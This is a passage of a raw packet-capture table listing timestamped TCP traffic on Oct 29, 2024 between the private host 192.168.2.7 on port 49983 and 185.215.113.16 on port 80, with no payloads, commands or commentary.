Oct 29, 2024 20:36:19.008985043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.008996964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.009007931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.009018898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.009030104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.009051085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.009074926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022054911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022078991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022089958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022095919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022108078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022207975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022243023 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022290945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022329092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022332907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022345066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022372007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022411108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022423029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022435904 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022444010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022469044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.022759914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022831917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022850990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022862911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.022928953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023536921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023595095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023602009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023614883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023624897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023639917 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023658037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023720980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023731947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023741961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023753881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023771048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023787975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023821115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023832083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023859024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023880005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.023957014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.023967028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.024003983 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.024018049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.050580978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.050618887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.050633907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.050659895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.050671101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.050677061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.050708055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.050734043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.050976038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.051014900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.051027060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.051033020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.051054955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.051068068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.051074982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.051086903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.051116943 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092457056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092485905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092502117 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092513084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092515945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092534065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092545033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092556953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092561007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092577934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092607021 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092659950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092672110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092681885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092689991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092694044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092715979 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092732906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.092737913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.092765093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095513105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095540047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095551014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095588923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095607042 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095671892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095690012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095701933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095709085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095731020 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095809937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095820904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095839024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095839024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095851898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095859051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095880985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095937967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095953941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095967054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.095978022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.095999002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096384048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096401930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096414089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096429110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096445084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096457958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096513033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096524954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096534967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096543074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096546888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096564054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096575975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096653938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096666098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096676111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096684933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096688032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096708059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096741915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096839905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096851110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096862078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096872091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096877098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096883059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096884966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096894979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096906900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.096906900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096929073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.096944094 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098515987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098557949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098571062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098578930 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098583937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098596096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098609924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098609924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098630905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098833084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098855972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098871946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098884106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098895073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.098895073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098895073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098908901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.098927975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153254986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153284073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153295994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153306961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153320074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153345108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153379917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153392076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153400898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153413057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153434038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153495073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153506041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153516054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153517962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153517962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153517962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153517962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153517962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153537035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153544903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153558969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153582096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153594017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153604031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153614044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153615952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153628111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153631926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153647900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153669119 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153816938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153829098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153840065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153856039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153866053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153886080 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153908014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153920889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153930902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153942108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.153949022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153959036 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.153987885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.154119015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154131889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154143095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154154062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154164076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154172897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.154172897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.154174089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154186010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154200077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.154206991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.154215097 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.154237032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.167686939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167717934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167731047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167742968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167753935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167767048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167788982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.167798996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167862892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167877913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167893887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167907953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.167959929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.167959929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.167959929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.167959929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.167959929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.170110941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.209563971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209583998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209594011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209605932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209615946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209659100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.209693909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209706068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209707975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.209718943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209728956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.209732056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209744930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.209755898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.209788084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212321997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212348938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212362051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212399006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212440968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212454081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212476969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212496996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212573051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212610006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212649107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212668896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212682962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212713003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212716103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212724924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212734938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212738991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212749958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212764978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212779999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212790012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212802887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212815046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212829113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212846994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212858915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212882996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212893009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212893963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212913990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212935925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.212949038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212961912 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212973118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.212986946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213022947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213022947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213471889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213519096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213529110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213547945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213568926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213582993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213587046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213599920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213609934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213620901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213625908 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213638067 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213664055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213680983 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213706970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213718891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213730097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213741064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213742018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213754892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213757992 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213778973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213808060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213824987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213836908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213846922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.213864088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.213922977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215317011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215331078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215341091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215364933 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215390921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215404034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215444088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215464115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215476990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215490103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215500116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215507030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215517998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215540886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215567112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215578079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215610027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215707064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215745926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215775967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215792894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.215809107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.215830088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.257463932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.257483959 CET	80	49983	185.215.113.16	192.168.2.7
